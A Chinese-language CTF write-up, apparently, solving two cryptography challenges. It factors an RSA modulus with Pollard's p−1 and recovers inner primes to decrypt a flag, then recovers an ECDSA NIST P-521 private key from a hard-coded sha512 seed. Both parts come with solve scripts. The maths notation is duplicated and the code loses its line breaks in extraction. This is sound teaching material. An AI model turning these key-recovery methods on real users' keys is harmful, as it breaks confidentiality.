p−1=k1⋅p1p−1=k1⋅p1,且p1p1是n1n1的因子,k1k1由小质数组成,这意味着p−1p−1对于BB-光滑部分(小质数部分)和已知的大因子n1n1的乘积是光滑的。这种情况非常适合使用 Pollard’s**p−1p−1**分解算法。如果我们构造一个指数E=n1⋅LCM(1…B)E=n1⋅LCM(1…B),那么aE≡1(modp)aE≡1(modp)很大概率成立。通过计算gcd(aE−1,n)gcd(aE−1,n),我们可以分解出nn的因子。
优化 Pollard’s p−1算法:
由于 nn 非常大(4096位),直接计算大指数幂非常耗时。
策略:预先筛选出 B=220B=220 以内的所有质数,并计算其幂次。将这些幂次分块(Chunking),逐步对基数 aa 进行模幂运算。每计算完一块就检查一次 GCD,以便在超时前找到因子。
分解 nn:
利用上述算法,我们成功将 nn 分解为 4 个 1024 位的质数(在交互过程中分别解出)
恢复内部质数 (p1,q1,r1,s1p1,q1,r1,s1):
- 利用关系
p1∣(p−1)p1∣(p−1),我们可以通过计算gcd(p−1,n1)gcd(p−1,n1)来直接求出对应的内部质数p1p1。 - 对
nn的 4 个因子重复此步骤,得到n1n1的 4 个因子
题目实际上是在模 n1n1 下进行的 RSA 加密(或者类似的群结构),利用恢复出来的 p1,q1,r1,s1p1,q1,r1,s1 计算欧拉函数:ϕ=(p1−1)(q1−1)(r1−1)(s1−1)ϕ=(p1−1)(q1−1)(r1−1)(s1−1)计算私钥 d=e−1(modϕ)d=e−1(modϕ)。解密明文 m=cd(modn1)m=cd(modn1)。
完整解题脚本 (Python)
import re, math, random, sys from math import gcd from pathlib import Path text = Path('/mnt/data/output.txt').read_text() nums =list(map(int, re.findall(r'=\s*(\d+)', text))) n1, n, c = nums e =65537 B =2**20defprime_powers_upto(B): sieve =bytearray(b'\x01')*(B +1) sieve[0:2]=b'\x00\x00' lim =int(B**0.5)+1for i inrange(2, lim):if sieve[i]: sieve[i*i:B+1:i]=b'\x00'*(((B - i*i)// i)+1) primes =[i for i inrange(B +1)if sieve[i]] pps =[]for p in primes: pp = p while pp * p <= B: pp *= p pps.append(pp)return pps pps = prime_powers_upto(B)defrecover_and_decrypt(outer_factors, n1, c, e): inner_primes =[] rem_n1 = n1 # 从外部质数恢复内部质数: gcd(P-1, n1)for P in outer_factors: g = gcd(P -1, rem_n1)if g >1: inner_primes.append(g) rem_n1 //= g inner_primes.sort()print(f"找到 {len(inner_primes)} 个内部质数。", flush=True) phi =1for p in inner_primes: phi *=(p -1) d =pow(e,-1, phi) m =pow(c, d, n1) pt = m.to_bytes((m.bit_length()+7)//8,'big')print(f"Flag: {pt.decode(errors='ignore')}")经过解密脚本运行,我们得到了最终的 Flag:
flag{pollard_p_minus_1_is_too_powerful_with_embedded_factors}
ECDSA
打开 task.py,前面几行是关键:
from ecdsa import SigningKey, NIST521p from hashlib import sha512 from Crypto.Util.number import long_to_bytes digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big") curve_order = NIST521p.order priv_int = digest_int % curve_order priv_bytes = long_to_bytes(priv_int, 66) sk = SigningKey.from_string(priv_bytes, curve=NIST521p) vk = sk.verifying_key 这里其实就已经把“私钥怎么生成的”写死在源码里了:
- 用固定字符串
"Welcome to this challenge!"做了一次 sha512。 - 把 64 字节的 sha512 当成一个大整数
digest_int。 - 用曲线的阶
curve_order取模得到priv_int。 - 再把
priv_int固定编码成 66 字节:long_to_bytes(priv_int, 66)。 - 最后用
SigningKey.from_string(priv_bytes, curve=NIST521p)得到私钥对象。
也就是说,只要我有 task.py,就可以百分百还原出同一把私钥,跟 signatures 甚至没关系。
只是注意需要先把私钥转为十进制再进行md5
import re import ast import hashlib from ecdsa import NIST521p with open("task.py", "r", encoding="utf-8", errors="ignore") as f: src = f.read() m = re.search(r"sha512\(\s*(b(?:'[^']*'|\"[^\"]*\"))\s*\)\.digest\(\)", src) seed = ast.literal_eval(m.group(1)) digest = hashlib.sha512(seed).digest() digest_int = int.from_bytes(digest, "big") priv_int = digest_int % NIST521p.order flag_md5 = hashlib.md5(str(priv_int).encode()).hexdigest() print(f"flag{{{flag_md5}}}")